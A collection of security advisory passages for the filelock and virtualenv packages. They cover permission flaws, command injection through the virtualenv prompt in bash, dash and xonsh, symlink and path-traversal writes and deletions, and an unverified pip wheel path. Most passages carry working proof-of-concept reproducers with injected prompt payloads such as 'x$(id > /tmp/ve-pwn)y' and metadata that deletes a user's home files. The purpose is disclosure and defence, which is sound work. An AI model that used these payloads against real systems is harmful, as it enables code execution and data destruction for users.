readable. `A:N` (no availability impact). `S:U` (scope unchanged). Classification from the review: **security, conditional** on another user controlling names in a non-sticky directory on the lock's filesystem (or on `fs.protected_hardlinks=0`). The scanner rated this high. The maintainers score it medium because the reachable targets depend on the directory layout and kernel settings described below. ## Scope and preconditions - Lock classes: `FileLock` and `AsyncFileLock` on Unix (`UnixFileLock`). `SoftFileLock` applies an explicit mode only to a file it created with `O_CREAT | O_EXCL` and does not truncate an existing file. `WindowsFileLock` has not truncated at any version. - The other user must put a regular file of the lock user at the lock path before the lock user's next acquire, while the lock file does not exist yet. That is the case on first use, after a reboot, after a `/tmp` cleaner, or after a release with the default `preserve_lock_file=False`, which unlinks the file. The scanner checked three ways at the scanned commit, with default kernel settings unless stated: - rename inside a directory without the sticky bit (a group-writable project or cache directory, a root-created `0777` directory); - rename from such a directory into a sticky one (`1777`) on the same filesystem. The sticky bit only protects entries that already exist, so the move succeeds while the lock path is free. Once the lock user's lock file exists there, the same move fails with `EPERM`; - `link(2)` into a sticky directory. This needs a system that lets a user hard-link a file it cannot write, which on Linux means `fs.protected_hardlinks=0`. Mainstream distributions set 1, which refuses the link. The scanner did not test macOS or the BSDs. - What the lock user loses: with the default `FileLock(path)` the lock truncates the file, which keeps its mode. With an explicit `mode` (a lock shared between users needs `0o666` or `0o660`, because `UnixFileLock` opens the file read-write), the lock also chmods the file to that mode. `_apply_explicit_mode` suppresses `PermissionError` only for files the lock user does not own. The lock user owns its own files, so the `fchmod` succeeds. - Trust boundary: the protection against another local user holds only when no other user can rename entries in the lock's directory or, for the rename-into-sticky route, in any directory on the same filesystem that holds a file of the lock user. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which n

`StrictSoftFileLock` and `AsyncStrictSoftFileLock` apply the caller's `mode` to the sentinel (the lock file at `<path>`) and to both claim files (the files whose presence says a process wants or holds the lock). They create the two directories that hold the claims, `<path>.filelock` and `<path>.filelock/claims`, with a bare `mkdir()`. That gives `0o777` filtered through the umask (a per-process mask that removes permission bits from new files and directories) or, under a parent with a default ACL (an access control list on a directory that sets the permissions of entries created inside it), through that ACL. A hold consists of two claim names in that directory, which has no sticky bit (a directory flag that lets only a file's owner remove it). When the environment leaves another local user (the other user below) a write bit on the directory, that user can unlink the holder's `0600` claims. Three settings do this: umask `000` in a sticky directory such as `/tmp`, umask `002` with the other user in the directory's group, or a default ACL on the lock's parent that grants the group write (the kernel then ignores the umask). After the unlink, the next contender of the holder's account finds the directory empty and enters. The first holder keeps reporting `is_locked == True` and later releases with no error. Affected versions: filelock >= 3.30.0 and <= 4.2.0 (finding `ANT-2026-AD6SUOON`). ## Severity **CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L, 5.3 (Medium).** `AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): the holder must pass a restrictive `mode` while its umask or the parent's default ACL leaves the other user a write bit on new directories, and a contender of the holder's account must ask for the lock after the claims are gone. With the common umask `022` and no default ACL the directories are `0755`, and the kernel refuses the other user's unlink. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the holder's processes act on their own. `C:N` (no confidentiality impact): the `0600` claim files stay unreadable. `I:H` (high integrity impact): two holders then write the data the lock protects, and neither learns of the other. `A:L` (low availability impact): the same write access lets the other user create names in `claims`, and an empty file named `held-v1-<32 zeros>.claim` makes the next `acquire()` raise `SoftFileLockProtocolError` ("malformed claim record") until someone removes it. Classification from the review: security, conditional on a lax umask or a permissive default ACL. The scanner rated it high (CWE-732). ## Scope and preconditions - The holder passes a restrictive `mode` such as `0o600`. Without one, the umask decides the permissions by documented design (the "File permissions and mode" section of `docs/concepts.rst` defines `mode` only for the lock file). Umask `000` with the default mode gives the same two-holder result but is outside this finding. - The holder's environment leaves the other user a write bit on new directories. The scanner measured three ways, with `mode=0o600` and the other user a member of group `team`: | lock's parent directory | holder's umask | `<path>.filelock` and `claims/` | who can unlink the claims | |---|---|---|---| | `1777`, like `/tmp` | `000` | `0777` | any other local user | | `root:team`, `3775` (setgid, so new entries inherit the group, and sticky) | `002` | `2775` | any member of `team` | | `root:team`, `1770`, default ACL `group:team:rwx` (`setfacl -d -m g:team:rwx`) | `077` | `0770` | any member of `team` | | `root:team`, `3775`, no ACL | `022` | `2755` | no one; the second process times out | The default-ACL row is the strongest. A holder with a private umask and `mode=0o600` still gets group-writable claim directories. The lock file in that row is `0600`, because its mode reaches `os.open` and masks the inherited ACL. - A contender that may enter asks for the lock: another process of the holder's account, or root. Nothing needs planting beforehand. The holder creates and owns the whole tree, so the existing-directory branch of `_ensure_protocol_directory` (the subject of GHSA-9c4x-gm8v-wgc4) plays no part. - Directories that an affected release already created keep their mode. A `0777` `<path>.filelock` from an earlier run stays writable by other users after an upgrade, because filelock does not remove these directories. Upgraders should `chmod` or remove existing `<path>.filelock` trees (see Workarounds). - The other lock classes do not have this gap in the same setting. With umask `000` and `mode=0o600`, `FileLock` and `SoftFileLock` create one `0600` file and nothing else, and `SoftReadWriteLock` creates its directories `0700` under any umask. Platform: POSIX permission semantics; demonstrated on Linux. filelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. Tha

## Summary The bash activator puts the caller-supplied prompt value into `PS1` unescaped whenever `promptvars` is off at activation time, and assumes prompt expansion can never run afterwards. `promptvars` and posix mode are runtime shell state, not a property of the activation moment: re-enabling prompt expansion in the same shell (`shopt -s promptvars`, `set -o posix`) or starting an interactive child bash that inherits the exported `PS1` makes bash expand the stored value and run the command substitution in it. An attacker who controls the prompt value gets command execution as the user who sources `bin/activate`. This is a regression. 21.14.8 escaped `$` and the backtick unconditionally and stays inert under the same sequence. The 21.14.9 fix for GHSA-6w3r-xr62-4xcp (#3418) rewrote that block and left bash with a path that stores the raw value whenever `promptvars` is off. ## Affected area Activation scripts (activate, activate.bat, activate.csh, activate.fish, activate.nu, Activate.ps1, activate.xsh) — specifically the bash `bin/activate`. ## Attacker-controlled input The `--prompt` value, which the security policy already lists as a value that may come from project metadata the user did not write. It reaches `virtualenv` as `--prompt` on the command line or as the `prompt` argument of the API, is written into `bin/activate` as the literal `VIRTUAL_ENV_PROMPT` assignment (correctly quoted, the value arrives there as data), and the script then copies it into `PS1` without escaping `$` or the backtick. Example: a repository or tool config supplies a prompt such as `x$(id > /tmp/ve-pwn)y`; the victim creates and later activates the environment. ## Details Source of the latest release: [`src/virtualenv/activation/bash/activate.sh` lines 140-160](https://github.com/pypa/virtualenv/blob/21.14.12/src/virtualenv/activation/bash/activate.sh#L140-L160) ```sh if [ -z "${VIRTUAL_ENV_DISABLE_PROMPT-}" ] && { [ -n "${BASH_VERSION-}" ] || [ -n "${ZSH_VERSION-}" ]; }; then _OLD_VIRTUAL_PS1="${PS1-}" # bash expands PS1 after decoding its prompt escapes when promptvars is on or in posix mode, so the prompt holds a # reference to the variable and its value never reaches that expansion; otherwise only the decode runs and # backslashes need doubling. ... if [ -n "${BASH_VERSION-}" ] && { shopt -q promptvars || shopt -qo posix; }; then PS1='(${VIRTUAL_ENV_PROMPT-}) '"${PS1-}" else _VIRTUAL_PROMPT="${VIRTUAL_ENV_PROMPT//\\/\\\\}" if [ -n "${ZSH_VERSION-}" ]; then _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\$/\\\$}" _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\`/\\\`}" _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\%/%%}" fi PS1="(${_VIRTUAL_PROMPT}) ${PS1-}" unset _VIRTUAL_PROMPT fi fi ``` Two separate mistakes combine: 1. A runtime shell option is treated as a constant. `shopt -u promptvars` at the moment of `source` does not bind the shell forever: `shopt -s promptvars` and `set -o posix` both re-enable PS1 expansion in the same shell. The code itself tests `shopt -qo posix` because posix mode expands the prompt regardless of `promptvars`, which shows the expansion state is not fixed by the activation. 2. The escaping that would keep the value inert in that mode is missing for bash. GHSA-5vjq-rrrf-7h2q ("activate runs commands from the environment name in zsh with PROMPT_SUBST") fixed exactly this shape for zsh, reasoning that "a user can set it after activation", by escaping `$` and the backtick. Bash lost the equivalent escaping in the same commit that added the zsh branch. The rendered prompt shows the regression directly: ``` 21.14.8 PS1 = (x\\$(id > /tmp/ve-pwn)y) <- escaped, inert 21.14.9 PS1 = (x$(id > /tmp/ve-pwn)y) <- raw value 21.14.12 PS1 = (x$(id > /tmp/ve-pwn)y) <- raw value ``` Relevant commit: [`5f48d711` "fix(bash): preserve literal prompts in supported shells (#3418)"](https://github.com/pypa/virtualenv/commit/5f48d711731311428aebfae61d46957762155b22), which removed the unconditional `$`/backtick escaping from the bash path. Advisory for that change: [GHSA-6w3r-xr62-4xcp](https://github.com/pypa/virtualenv/security/advisories/GHSA-6w3r-xr62-4xcp). ## Proof of concept Non-destructive payload: it runs `id` and writes the output to a file. ```bash python -m virtualenv --no-seed --no-periodic-update --activators bash \ --prompt 'x$(id > /tmp/ve-pwn)y' /tmp/venv-demo cat > /tmp/rc <<'EOF' shopt -u promptvars . /tmp/venv-demo/bin/activate shopt -s promptvars EOF # the prompt needs a tty; script(1) provides one printf 'exit\n' | script -qec 'bash --noprofile --rcfile /tmp/rc -i' /dev/null cat /tmp/ve-pwn ``` Observed on 21.14.12: ``` $ cat /tmp/ve-pwn uid=1000(asrun) gid=1000(asrun) groups=1000(asrun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),999(ollama) ``` The prompt printed as `(xy)`. The same script against 21.14.8 creates no file; against 21.14.9 and 21.14.12 i

## Summary Caller-supplied prompt text can become executable syntax in the bash activation prompt. An attacker must influence the value passed to virtualenv, and a user must subsequently activate the environment and draw the prompt. ## Affected area Bash runs with compatibility level 4.2 and draws the environment prompt. Its replacement-string behavior differs from newer compatibility modes, leaving prompt text subject to a second interpretation. The report concerns POSIX activation. It does not establish exposure through unrelated activators. ## Attacker-controlled input The attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated activation script. ## Affected code The relevant 21.14.8 source is in [bash prompt assembly](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/bash/activate.sh). ## Mechanism `bin/activate` copies the prompt into `PS1`. A shell expands `PS1` again when it draws a prompt, so the value must survive both the assignment and that later expansion. The bash and zsh branches escape for their usual prompt rules. Three other paths still interpret prompt data as commands: dash sourcing `activate` directly, a child dash inheriting an exported `PS1` from bash, and bash running at compatibility level 4.2 or lower. A value such as `x$(touch MARKER)y` then runs `touch` on prompt display. Creating the environment does not run the payload. ## Reproduction and evidence The scanner's child-shell reproducer creates an environment with `--prompt 'x$(touch MARKER)y'`, sources `bin/activate` in interactive bash, and starts interactive `sh` (dash). Its control leaves `PS1` unexported: neither shell creates `MARKER`. With `PS1` exported, bash displays the prompt without executing the value, but the child dash creates `MARKER`; the reproducer ends in `BUG`. The report gives separate console reproductions for direct dash activation and bash compatibility level 4.2. The child-shell path can arise after another environment's activation has exported `PS1`. The scanner linked this finding to [#3326](https://github.com/pypa/virtualenv/pull/3326) and its follow-up #3390. Those changes cover the usual bash path but leave the three paths above. The proposed change in [#3418](https://github.com/pypa/virtualenv/pull/3418) keeps a variable reference in `PS1`, so prompt text is expanded as data when drawn. The private report's reproducer was run by the scanner; the later command-execution result was supplied by the maintainer review. This advisory does not claim that every POSIX shell or every bash mode is affected. ## Introduced The report traces direct dash sourcing to the first 20.x activator (20.0.0b1), and inherited `PS1` to #3390 (first released in 21.14.7). It demonstrates the compatibility-level case on bash 5.2. Those historical boundaries come from the report; the release confirmed by the maintainer is 21.14.8. ## Attack sequence ```mermaid sequenceDiagram participant A as Prompt supplier participant V as virtualenv participant B as Interactive bash participant D as Child dash A->>V: --prompt x$(touch MARKER)y V->>B: generated bin/activate B->>B: assign escaped prompt to PS1 alt PS1 is not exported B->>D: start sh with its own PS1 D-->>B: marker absent else PS1 is exported B->>D: start sh with inherited PS1 D->>D: expand $(touch MARKER) on prompt draw D-->>B: marker created end ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-1MOI2X3T`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import shutil import subprocess from pathlib import Path work = Path("/tmp/repro-inherited-ps1") shutil.rmtree(work, ignore_errors=True) work.mkdir() marker = work / "MARKER" print("sh is", Path("/bin/sh").resolve()) # attacker: only the text a tool such as tox or hatch relays as --prompt hostile_prompt = f"x$(touch {marker})y" # set up: the environment, made with the virtualenv command subprocess.run( ["virtualenv", "--no-periodic-update", "--without-pip", "--activators", "bash", "--prompt", hostile_prompt, str(work / "env")], check=True, stdout=subprocess.DEVNULL, ) assert not marker.exists(), "creating the environment must not run the prompt" # user: in an interactive bash, source bin/activate, then start sh. # -i makes both shells draw their prompt although stdin is not a terminal; sh draws one, reads EOF and returns session = Path("/tmp/repro.d/user_session.sh").read_text() interactive_bash = ["bash", "--norc", "--nopr

## Summary Generated activation files and pyvenv.cfg can follow existing links and write outside the requested environment. The template writer tests exists() before unlinking, which misses dangling symlinks; the configuration writer opens the existing path directly. Anthropic's OSS Scanner reported this as `ANT-2026-XBEOCBS1` in `virtualenv-20261015-005`, received on 15 October 2026. ## Affected area Final file entries written during environment creation and seeding. ## Attacker-controlled input Another account must be able to prepare file links in the destination before creation. The invoking user must have write permission at the linked target. The destination parent must remain controlled during creation; concurrent parent-directory replacement is a separate concern. ## Affected code The relevant 21.14.8 source is in [template writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py), [configuration writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py). ## Mechanism `ViaTemplateActivator._generate()` removes an existing output only when `Path.exists()` is true. A dangling symlink therefore survives, and `write_bytes()` creates its target outside the environment. Other generated files have related final-entry behavior. `PyEnvCfg.write()` opens `pyvenv.cfg` without first replacing an existing link; a symlink or hard link there can overwrite an existing target. These paths require a prepared destination tree and the invoking user's permission to write the linked target. ## Reproduction and evidence The scanner's project tree contains `venv/bin/activate -> ../../../.bash_aliases` and an executable `venv/bin/basename`. Before creation, a new interactive bash does not create the marker. A plain `virtualenv venv` writes the activation script through the dangling link, creating `~/.bash_aliases` as a regular file. Debian's stock `.bashrc` sources that file; the next interactive bash adds `venv/bin` to `PATH` and the planted `basename` writes the marker. The reproducer checks that the link remains, `~/.bash_aliases` appears, and the second shell executes the planted file. A separate manual check links `pyvenv.cfg` to `~/.bashrc` and observes the latter replaced with generated configuration text. The link lets creation write outside the requested environment. The attacker chooses the target path but the generated bytes come from virtualenv. The executable in the example was already in the prepared tree; this finding is not arbitrary code injection into an otherwise trusted destination. The scanner traces the template behavior to #1454, first released in 20.0.0b1. [PR #3431](https://github.com/pypa/virtualenv/pull/3431) replaces pre-existing output links and uses exclusive creation for generated text. It does not make a destination safe if another account can replace parent directories during creation. ## Attack sequence ```mermaid sequenceDiagram participant A as Prepared project tree participant V as virtualenv writer participant H as User home participant B as Next interactive bash A->>V: venv/bin/activate links to missing ~/.bash_aliases V->>V: Path.exists() follows link and returns false V->>H: write activation bytes through link H-->>B: ~/.bash_aliases now exists B->>H: .bashrc sources ~/.bash_aliases B->>A: PATH reaches planted venv/bin/basename A-->>B: marker created Note over V,H: pyvenv.cfg can also overwrite an existing linked target ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-XBEOCBS1`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import os import shutil import subprocess import sys import tempfile # set up: a fresh home with Debian's stock ~/.bashrc, which sources ~/.bash_aliases when that file exists home = tempfile.mkdtemp(prefix="home-") shutil.copy("/etc/skel/.bashrc", f"{home}/.bashrc") bash_aliases = f"{home}/.bash_aliases" marker = f"{home}/attacker-ran" open_terminal = ["bash", "-i", "-c", "true"] terminal_env = {"HOME": home, "PATH": "/usr/bin:/bin", "TERM": "dumb"} # the attacker's repository, cloned by the user to ~/proj checkout = f"{home}/proj" subprocess.run([sys.executable, "/tmp/repro.d/make_hostile_checkout.py", checkout], check=True) activate = f"{checkout}/venv/bin/activate" print("shipped: venv/bin/activate ->", os.readlink(activate), flush=True) # a terminal opened before virtualenv runs does not touch the checkout (stderr: bash -i without a tty warns) subprocess.run(open_terminal, e

## Summary The app-data copy seeder uses shutil.copy, which preserves cached file modes independently of the current umask. A cache populated under permissive permissions can therefore produce files with wider access in later environments. Anthropic's OSS Scanner reported this as `ANT-2026-487MH6OW` in `virtualenv-20261015-005`, received on 15 October 2026. ## Affected area Permissions of files copied from app-data into a new environment. ## Attacker-controlled input The cache must contain files created with broader permissions than the current environment creator intends. Another account must also be able to traverse the new environment and reach those files. A private parent directory prevents that access. No control of a private live cache is assumed. ## Affected code The relevant 21.14.8 source is in [copy helpers](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py). ## Mechanism The default app-data seeder extracts a wheel into a reusable cache and copies its files into later environments with `shutil.copy()`. That function applies the cached source mode to each destination file after creating it, overriding the current run's umask. If the cache image was built under umask `000`, a later environment created under umask `022` can receive mode-`0666` pip files. The cache may be private while the new environment is reachable by other local accounts. ## Reproduction and evidence The scanner created two histories with separate private app-data caches. In the control, the owner's first run used umask `022`; a later environment had no files writable by another account, and that account could not append to `pip/__init__.py`. In the attack history, the first run used umask `000` and the later run still used `022`. The report counted 478 of 493 environment files writable by others. A second unprivileged uid appended a line to pip, and `bin/pip --version` ran it as the environment owner. The cache itself remained under a mode-`0700` home in both histories. An attacker cannot force the owner's earlier umask through this finding; the attack also needs a traversable destination. A mode-`002` cache can expose group write access under suitable group permissions. The scanner dates app-data copy seeding to #1578, first released in 20.0.2. [PR #3425](https://github.com/pypa/virtualenv/pull/3425) creates copied files under a fixed non-writable-by-others policy further restricted by the current umask. ## Attack sequence ```mermaid sequenceDiagram participant U as Environment owner participant C as Private app-data cache participant E as Later environment participant A as Other local account U->>C: first seed extraction under umask 000 C-->>U: cached pip files have mode 0666 U->>E: create environment under umask 022 C->>E: shutil.copy reapplies mode 0666 A->>E: append code to pip/__init__.py U->>E: run bin/pip --version E-->>U: appended code runs as owner ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-487MH6OW`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import glob import os import shutil import stat import subprocess import sys from pathlib import Path sys.stdout.reconfigure(line_buffering=True) # keep these lines in order with those of the child processes os.umask(0o022) # for the directories made here as root OWNER, OTHER_USER = 1000, 65534 # root is only needed to switch to these two unprivileged uids VIRTUALENV = ["virtualenv", "--quiet", "--no-periodic-update"] # default seeder; no network for the update check # read here, as root: /tmp/repro.d need not be readable by the other user ATTACK = Path("/tmp/repro.d/other_user_appends_to_pip.py").read_text() def run_as_owner(command, home, umask): environ = {"HOME": str(home), "PATH": os.environ["PATH"]} subprocess.run(command, user=OWNER, group=OWNER, extra_groups=[], umask=umask, env=environ, cwd=home, check=True) def mode(path): return stat.filemode(os.stat(path).st_mode) work = Path("/tmp/seed-mode-repro") shutil.rmtree(work, ignore_errors=True) work.mkdir() proofs = work / "proofs" proofs.mkdir() proofs.chmod(0o777) # the other user's line writes the uid it runs as in here writable_by_others, appended_line_ran_as = {}, {} # the two histories differ only in the umask of the owner's earlier run, the one that fills ~/.cache/virtualenv for case, umask_of_earlier_run in [("CONTROL", 0o022), ("OBSERVED", 0o000)]: # set up: the owner's home, and with it the cache, is private; the project folder is reachable by path home = work / f"{

## Summary The app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths without checking containment within the environment. Anthropic's OSS Scanner reported this as `ANT-2026-SXOEHWP7` in `virtualenv-20261015-005`, received on 15 October 2026. ## Affected area Removal of a previously installed seed package. ## Attacker-controlled input An environment being reused must contain distribution metadata influenced by another account. The invoking user must have deletion rights over the paths named by that metadata. Installing a new environment without existing package metadata does not enter this cleanup path. ## Affected code The relevant 21.14.8 source is in [seed uninstall](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py). ## Mechanism Before reinstalling a seed wheel, `PipInstall._uninstall_previous_version()` accepts an existing `pip-*.dist-info` directory in the destination. `_uninstall_dist()` reads its `top_level.txt` and `RECORD`, joins each entry to `site-packages`, and deletes the result. It does not check whether `..`, an absolute entry, or a linked parent takes the path outside the environment. The default app-data seeder reaches this path when it reuses a tree containing seed-package metadata; `--clear` removes that tree first. ## Reproduction and evidence The scanner prepared a project with `.venv/lib/python3.14/site-packages/pip-1.0.dist-info/`. Its `top_level.txt` contained `../../../../../Documents`; its `RECORD` named `../../../../../notes.txt,,`. The user's home initially held `Documents/thesis/chapter1.txt` and `notes.txt`. Running `virtualenv .venv` exited successfully but removed both paths. A control tree with `top_level.txt` set to `pip` and a normal `pip/__init__.py` RECORD entry left the home files in place. The reproducer prints `BUG` only when the control files survive and both attack targets disappear. The deletion uses the invoking user's permissions and runs during creation, before any use of the environment. It requires an existing destination that another account could populate; a fresh empty environment does not supply hostile metadata. The report traces this cleanup to #2186, first released in 20.8.1. [PR #3428](https://github.com/pypa/virtualenv/pull/3428) checks each deletion path against the resolved environment root and refuses to delete the root itself. ## Attack sequence ```mermaid sequenceDiagram participant A as Prepared .venv metadata participant V as App-data seeder participant P as site-packages participant H as User home A->>P: top_level.txt names ../../../../../Documents A->>P: RECORD names ../../../../../notes.txt V->>P: read pip-1.0.dist-info before reinstall P->>H: join entries without containment check V->>H: remove Documents and notes.txt V-->>A: virtualenv exits successfully ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-SXOEHWP7`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import os import shutil import subprocess import sys from pathlib import Path work = Path("/tmp/repro-seed-uninstall") shutil.rmtree(work, ignore_errors=True) USER_FILES = ("Documents/thesis/chapter1.txt", "notes.txt") def make_home(name): home = work / name (home / "Documents" / "thesis").mkdir(parents=True) (home / "Documents" / "thesis" / "chapter1.txt").write_text("months of work\n") (home / "notes.txt").write_text("my notes\n") return home def unpack_attacker_project(home, top_level_line, record_line): subprocess.run( [sys.executable, "/tmp/repro.d/make_project_tree.py", home / "project", top_level_line, record_line], check=True, ) def user_runs_virtualenv(home): # HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline result = subprocess.run( ["virtualenv", "--no-periodic-update", ".venv"], cwd=home / "project", env={**os.environ, "HOME": str(home)}, stdout=subprocess.PIPE, text=True, check=True, ) print(result.stdout, end="") def files_left(home): return [f for f in USER_FILES if (home / f).exists()] # control: the project ships well-formed pip metadata control_home = make_home("control") unpack_attacker_project(control_home, "pip", "pip/__init__.py,,") user_runs_virtualenv(control_home) control_left = files_left(control_home) print(f"CONTROL user files still in ~ after virtualenv: {control_left}") # attack: site-packages is ~/project

## Summary Caller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the value passed to virtualenv, and a user must subsequently activate the environment. ## Affected area Xonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can change how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure through unrelated activators. ## Attacker-controlled input The attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated activation script. ## Affected code The relevant 21.14.8 source is in [xonsh quote()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/xonsh/__init__.py), [UTF-8 template writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py). ## Mechanism The generator writes `activate.xsh` as UTF-8. Its `quote()` used `repr()`, which leaves printable non-ASCII characters in the file and backslash-escapes an embedded quote. Xonsh's `source` reads the file using `$XONSH_ENCODING`. With GBK or Big5, the UTF-8 bytes of `中` end in `0xad`, which pairs with the following `0x5c` backslash as one decoded character. The backslash no longer escapes the quote. A prompt containing both quote kinds can then close its Python string literal and supply statements that run during activation. With UTF-8 source decoding, the same value stays inside the literal. ## Reproduction and evidence The original scanner finding, `ANT-2026-PAUVP7YL`, demonstrated this byte-level failure in `activate_this.py`: a hostile prompt loaded through `exec(open(file).read(), ...)` under GBK created a marker, while UTF-8 and `runpy.run_path` controls did not. The xonsh path in this advisory was identified in the subsequent maintainer-provided review. [PR #3432](https://github.com/pypa/virtualenv/pull/3432) shows the xonsh source-decoding chain and changes `quote()` to `ascii()`, which writes non-ASCII characters as escapes. Its regression test encodes the generated literal as ASCII, decodes it as GBK, and checks that `ast.literal_eval` returns the original prompt. The attack needs control of the prompt or destination value, an affected xonsh source encoding, and later sourcing of the generated file. The original `activate_this.py` reproducer does not itself prove xonsh execution; that result is attributed to the separate review. Existing `activate.xsh` files must be regenerated after the fix. ## Attack sequence ```mermaid sequenceDiagram participant A as Prompt supplier participant V as virtualenv quote() participant F as activate.xsh bytes participant X as xonsh source A->>V: 中 plus escaped quote and statements V->>F: repr writes UTF-8 中 followed by backslash alt XONSH_ENCODING is UTF-8 F->>X: backslash remains an escape X-->>A: prompt remains data else XONSH_ENCODING is GBK or Big5 F->>X: decoder consumes backslash as trail byte X->>X: quote closes and statements run end Note over V,X: ascii() emits only ASCII bytes and preserves the literal ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-PAUVP7YL`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import os import subprocess import sys from pathlib import Path from shutil import rmtree work = Path("/tmp/activate-this-gbk") rmtree(work, ignore_errors=True) work.mkdir() env_dir = work / "venv" marker = work / "MARKER" # set up: a zh_CN.GBK locale, which the image does not ship subprocess.run([sys.executable, "/tmp/repro.d/install_gbk_locale.py", work / "locales"], check=True) utf8_session = {"PATH": os.environ["PATH"], "LANG": "C.UTF-8"} gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": str(work / "locales")} # attacker: text that a tool relays as --prompt # the payload's " makes repr() delimit with ' and write the prompt's own ' as \' # 中 is e4 b8 ad in UTF-8; GBK reads e4 b8 as one character and ad 5c, ad plus that backslash, as the next payload = f'__import__("os").system("touch {marker}")' hostile_prompt = "中" + "';" + payload + "#" # user: creates the environment with the virtualenv command subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--prompt", hostile_prompt, env_dir], check=True) activate_this = (env_dir / "bin" / "activate_this.py").read_bytes() prompt_line = next(line for line in activate_this.splitlines() if line.startswi

## Summary The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected. Index candidates on that path do not pass through virtualenv's wheel digest verification. Anthropic's OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026. ## Affected area Wheel selection by the pip seeder when downloads are enabled. ## Attacker-controlled input The pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy. Explicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy. ## Affected code The relevant 21.14.8 source is in [pip seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/pip_invoke.py). ## Mechanism With `--seeder pip --download`, `PipInvoke.get_pip_install_cmd()` first calls `get_wheel(download=False)`, so virtualenv's `download_wheel()` and `verify_wheel_digest()` are skipped. It then lets `pip install` consult the configured index. An index wheel with the same package and version as the bundled wheel can be selected without virtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the same option. ## Reproduction and evidence The scanner built a local index named in `pip.conf` that served a modified copy of the bundled pip wheel under the same filename. In the control run, `virtualenv --download env-default` rejected the wheel with a digest mismatch. In the second run, adding `--seeder pip` produced an environment whose installed `pip/__init__.py` matched the index wheel; `env-pip/bin/pip --version` ran the added line. The reproducer checked the installed bytes and marker before reporting `BUG`. Both `--seeder pip` and `--download` are needed. The report used a non-PyPI index from `pip.conf` and left `PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, and `PIP_INDEX` unset, so virtualenv's default-seeder PyPI comparison remained active. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is older, while the comparison with the default seeder arose when digest verification was added in 21.7.12. [PR #3430](https://github.com/pypa/virtualenv/pull/3430) acquires and verifies selected wheels before invoking pip with index lookup disabled. ## Attack sequence ```mermaid sequenceDiagram participant I as Index in pip.conf participant V as virtualenv PipInvoke participant P as pip install participant E as Seeded environment I->>V: serve modified pip wheel V->>V: get_wheel(download=False) V->>P: install with --download permitting index lookup P->>I: select same-version index wheel I->>E: modified pip installed without virtualenv digest check E->>E: later pip invocation runs added code Note over V,E: Default app-data seeder rejects the same digest ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-74ALJBUF`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** 